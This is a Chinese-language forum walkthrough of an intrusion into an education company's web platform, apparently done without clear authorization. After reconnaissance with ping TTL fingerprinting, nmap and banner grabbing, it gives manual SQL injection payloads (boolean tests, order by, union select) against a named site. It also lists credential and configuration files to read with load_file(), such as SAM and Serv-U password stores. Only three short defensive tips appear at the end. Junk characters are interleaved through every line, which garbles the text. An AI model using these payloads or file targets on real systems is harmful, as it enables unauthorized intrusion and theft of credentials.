题记:
: {0 ~8 I% v8 E7 o% ^$ d/ x一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
0 B2 j6 T3 _2 s" X! [第一步:获取需要的信息" K; t* T9 w f8 C( Z& P
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
9 b7 }6 p5 V& ?' a: O5 u! P% y注:以下为保护特用XXX代替敏感信息
6 B+ {7 I6 m+ w" V" x. K8 c# ?顺手先PING了一下他们的域名:6 Z& c5 v- j9 z, G* U
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
2 Y, X* ]: I0 ?. @64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
& P j# @# O& K$ ~* ~顺便了解一下TTL,学好基础知识才能一路顺风:
! o' x; f- r; T+ a+ s5 G: r# a$ gTTL:(Time To Live ) 生存时间7 K6 Y3 T! N) g% P
指定数据包被路由器丢弃之前允许通过的网段数量。' i. c: q& }8 L! L9 P1 n! z
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。9 E. b% U5 X; j: r. K- `
使用PING时涉及到的 ICMP 报文类型
1 v9 w \* e. N* ]" f Y一个为ICMP请求回显(ICMP Echo Request)
# i! x. w8 B. h' B/ N1 s2 v一个为ICMP回显应答(ICMP Echo Reply)
# |5 G5 `6 {! ?1 zTTL 字段值可以帮助我们识别操作系统类型。7 G+ I2 D7 `4 k8 i5 @1 W
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
5 k4 W3 k8 n& }! mCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
/ h8 N: z2 W" Y微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1285 B2 n7 i' O, I1 b, C5 v$ s
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
! J$ K# s3 { E l当然,返回的TTL值是相同的
1 ]1 ^$ Q- j* ?: D( N但有些情况下有所特殊5 F% M. ^' k( |. j' E2 @4 l7 M
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 647 i/ i$ X% h J" ^# q" u
FreeBSD 4.1, 4.0, 3.4;
& P+ Z$ u2 L: c, }( hSun Solaris 2.5.1, 2.6, 2.7, 2.8;) h( q9 O' y* m* O: W
OpenBSD 2.6, 2.7,
/ w) @) P( b6 f5 G$ E% _8 L% wNetBSD
3 G6 D5 x/ F' s" a0 `9 }HP UX 10.20' C: J8 a! |5 P- b
ICMP 回显应答的 TTL 字段值为 255
: Q1 ^' }+ ^8 I+ HWindows 95/98/98SE
% n" A8 X; n% _4 DWindows ME1 p5 u3 \+ ^* O& B
ICMP 回显应答的 TTL 字段值为 320 l* y4 Q& A; G& u$ T9 r/ V
Windows NT4 WRKS6 v4 n7 [ q/ `3 }
Windows NT4 Server6 y( h1 y- ^. X' x
Windows 2000
2 y" _. P3 u7 G& u" x$ {5 |Windows XP
F U/ C7 ?3 S. L8 G' v4 K' jICMP 回显应答的 TTL 字段值为 128
4 E. `- z8 A0 n这样,我们就可以通过这种方法来辨别操作系统 C9 j/ o" t1 w& @2 R
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255) W3 O: n' I3 S* b: _- w9 b
用NMAP扫描一下:
6 U, ?9 a# n9 {nmap -sT -O XXX.XXX.XXX.XXX
% j: [8 P- a) u. Z8 Z如果没有装WinPcap则会弹出提示:
( g9 r& J7 M, x# E$ H) {* f/ uWARNING: Could not import all necessary WinPcap functions. You may need to upgr
! h: v, X; A4 w8 y4 Rade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
" }1 V& y+ W S, i- d* H% \) mode — Nmap may not function completely
: @5 e, w* }* K# K/ A& o6 DTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
+ \9 U- [" a5 [" Kand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
8 e4 Z; c0 ]6 u( G2 A5 z& ], ^pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
) I( H" n/ r$ I. t/ e; B3 E; Fd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
2 Y4 L! K3 X/ g3 U4 i% Bersions, you may be able to take iphlpapi.dll from another system and place it i+ b! ^; E' I' Z' ~; {& x: G8 |
n your system32 dir (e.g. c:\windows\system32).
8 _7 h: A+ c" Z8 uQUITTING!0 [ e5 ]! W" ^1 C5 N7 H
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe0 B- v& ^4 F. c
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:# b% d9 h; ?- ^# @
Interesting ports on XXX.XXX.XXX.XXX:
* X) m( D9 x0 d5 ?1 dNot shown: 986 closed ports
( w9 O" c& [0 l" ^PORT STATE SERVICE* P/ ]1 r2 p" t/ u# ?; N8 P0 W
21/tcp open ftp
) N1 v) X+ c* J& V, u22/tcp open ssh: F0 t! ^ g3 E# A* M' q- b1 b9 m
23/tcp open telnet
. N, x. Z* X+ }2 [80/tcp open http
U) v1 v. L0 {. S+ e# s8 u6 n111/tcp open rpcbind6 Z% i+ r+ F0 p! q& e
135/tcp filtered msrpc& f0 N8 R+ @& w# r. C4 d9 g( ?
139/tcp filtered netbios-ssn) ?7 v5 ~+ q( T- T( l9 ^
445/tcp filtered microsoft-ds
: U( Q" o' h6 Y9 u513/tcp open login
, [8 U* K/ d$ Q* T514/tcp open shell
! A# b, A: g( L( @593/tcp filtered http-rpc-epmap
- ^. G, g8 ^( `1 ?1 t1720/tcp filtered H.323/Q.9310 S4 o* J& y# p' J# B4 d& _6 r
3306/tcp open mysql
% v- N6 U. C: Y. M0 P# f. D/ A4444/tcp filtered krb524
8 ^7 i2 x+ _# e% n, f# A, uDevice type: WAP
# ?: p" X) E" S; S0 K! ?Running: Linux 2.4.X& k1 H; z, P I6 z w
OS details: DD-WRT (Linux 2.4.35s)
, e+ c" [- C, z( i, VNetwork Distance: 13 hops0 `7 d% E& Q% l( c
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:; i! q9 S1 F5 |) b9 L5 ^: B5 q
login as:
& k! j, P" p k$ `, x3 m$ gTelnet23端口也是开着的,用telnet 命令链接一下:
7 t8 {9 A! ]- l- K5 utelnet XXX.XXX.XXX.XXX
* U% o) R# {& M2 e提示:
1 S) C" w9 W: s, g1 e: fRed Hat Enterprise Linux Server release 5.2 (Tikanga)5 P( A1 r7 c1 _; D L. O
Kernel 2.6.18-92.el5PAE on an i6861 s+ F/ [) ~0 {' `
login:/ D" N+ R2 }' b, m' B0 a( z
获取HTTP头信息:7 I, T" u' a" k
在本地执行如下PHP代码
# j3 S) E8 h2 O# l<?php$ y# I8 f0 M9 \' M, Z- Q# X
$url = ‘XXX.XXX.XXX.XXX’;
$ [# ?% S6 \" V3 ]! Tprint_r(get_headers($url));+ b3 |/ i3 y' c" ^7 H% J7 p
print_r(get_headers($url, 1));
( l1 _3 ~% h9 A3 U, L?>. B, A- ~" A" x2 f$ |9 k" A: w1 I
将以上代码保存为PHP文件,执行:* t( X+ m: G& j" e
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
9 {+ Q2 f; B1 R0 T4 z现在可以得出结论:3 ]0 w5 m# i7 a, S* j1 F
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
6 }1 s7 _6 R- B! p" Z: E内核版本:Kernel 2.6.18-92.el5PAE on an i686
; s5 _7 n4 j2 F% ~4 B9 YWEB服务器版本:nginx/0.7.61
7 g, J. D" z& m! O; K' v' }第二步,开始测试寻找漏洞
' \: ^: y' B+ \' q" ~9 N$ c分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。1 M( S+ u8 R# Z, C# Q& ]$ y
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
8 r. U; T/ r& i: i2、测试方法:在地址后加 and 1=1 和 and 1=2 测试2 t1 X8 b; V: N
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常1 O( m; f6 h- ^
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误0 F# c5 S2 k- h' L
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续7 Y/ Z3 z- M- g7 d( F
3、手工注入:
6 q0 U8 E0 {; b6 O注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。; h _9 V8 w# i$ @9 q/ G
3.1 猜测当前表字段数
2 I: B6 t7 j D( Zhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10& s5 Y/ E1 b+ H$ s/ T9 t
此处猜测有个简单的算法,都是有技巧的吗,呵呵
- m' i- C7 E, O( w. F! y算法简单如下:) ]( m' R$ G6 x Y) j: k+ [" e
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
( u4 n3 v) p6 }& \& c `* ^0 p第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
. d( F: A# G8 g' [& @, w需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。3 R% }3 d+ o: f7 ~
以此来判断,是否过界,配合取中算法猜出字段数。2 i8 Z, C+ T3 \. X; Z) a% i; T+ C$ ~
举例:5 }1 h/ r3 W) p6 _0 ]) b) j& z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
. _) q R# Y3 C8 h% Chttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误) Q' S* \$ B+ k7 ~6 V1 j0 x
此时3则为我们要找的字段数。6 ]: m6 r& }% c# Y% R1 c
3.2 配合union联合查询字段在页面所位置
5 S, k/ {9 g* Q' y; Q我们已经知道了字段数为3,此时则可以做如下操作:& V G7 e# `/ u" C, ]+ Z
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3! N6 O! K1 |$ I; b v+ k
4 p1 F8 _! t! W1 |# `
这样就可以测试到哪些字段在页面上有所显示了,如图:
# C; h% @5 N+ f! f# j
1 l" B7 f3 w. t; V* e, t3.3 查敏感信息8 c8 i$ H ?( U" A1 `
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
2 O% E! T" X! M" F5 lhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()1 w. G% r5 z' G1 a2 c- l; K: l. J
3.3.1 先查数据库用户、数据库名,以备后用,如图:$ g0 n, u$ a0 |' H3 F. N
& h: f D0 }6 J5 N* E* Q }得到数据库用户为root、数据库名为DBxx;
% H) p% v! j7 i2 ]( u% K! c0 [8 S3.3.2 查配置文件/ D7 B0 t5 i1 m1 f/ f+ d7 N
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。, C8 Y8 H R2 T0 F$ {
查看文件有一定的条件限制:% b7 b n4 O$ e7 F
欲读取文件必须在服务器上: j/ I# C) b/ ~. [" ?! O9 \
必须指定文件完整的路径
7 r u* h9 K9 J必须有权限读取并且文件必须完全可读
+ o/ m$ c" L4 f: M欲读取文件必须小于 max_allowed_packet
?% i) x3 Z# a9 [MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
8 {- h* @( \" E$ A* d常用的一些:
8 ~ m( c/ v3 O! P/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
$ o2 s" e3 C4 e- n# y' `( l& M/usr/local/apache2/conf/httpd.conf
0 ^) {# H, `, M) M: t$ l8 A0 t/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
" M g9 ?9 p) \8 ~/usr/local/app/php5/lib/php.ini //PHP相关设置& ^, ]5 d4 C& S0 |- I/ }
/etc/sysconfig/iptables //从中得到防火墙规则策略
- }8 u4 d( g: c# b/etc/httpd/conf/httpd.conf // apache配置文件
' U4 s! Q, d% Z" {8 s1 k/etc/rsyncd.conf //同步程序配置文件6 Z0 I- S) T2 |! Q& ~
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.! D* `) ~8 G0 Y- w" w# U" K/ C
/etc/my.cnf //mysql的配置文件- K m1 d8 D& z
/etc/redhat-release //系统版本9 z8 e z. T0 T/ H3 h: ^6 x
/etc/issue
$ Y! W ^$ f' \/ ^8 Z/etc/issue.net8 ~6 J% A6 N+ ?( p" I, w! l
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
4 o; b7 H5 m8 M/ a* T7 jc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码- p) q8 F3 C$ p- \
c:\Program Files\Serv-U\ServUDaemon.ini
/ w* f; A1 ]& ~, b& Pc:\windows\my.ini //MYSQL配置文件
0 i! `9 h2 k$ y) d/ m) [4 t7 k- _c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
& m; K! M8 J$ w6 R" E, `6 K等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
S9 |4 o4 \; Cc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
- X4 i$ B9 R6 S* ic:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
9 ^5 u* y# D) u, v& O9 _' G8 Oc:\Program Files\RhinoSoft.com\ServUDaemon.exe
; J9 f5 `+ |( k, _0 z1 L7 QC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件) s/ x( q/ n4 e' | r
//存储了pcAnywhere的登陆密码
' m1 f6 c9 u$ Z( N# O3 L# }& \由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。( i s/ ~! t( _/ [/ o
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
0 l4 N7 W1 e) n* W; j. z3 n3 i最后:防范措施
/ T: x' _) Q7 H& l$ s1、修复PHP注入漏洞;: C- r' @4 Q1 P1 t) }* ^# Y
2、Mysql使用普通权限的用户;
9 P/ e1 L; B k; y3、升级linux内核至最新版本; |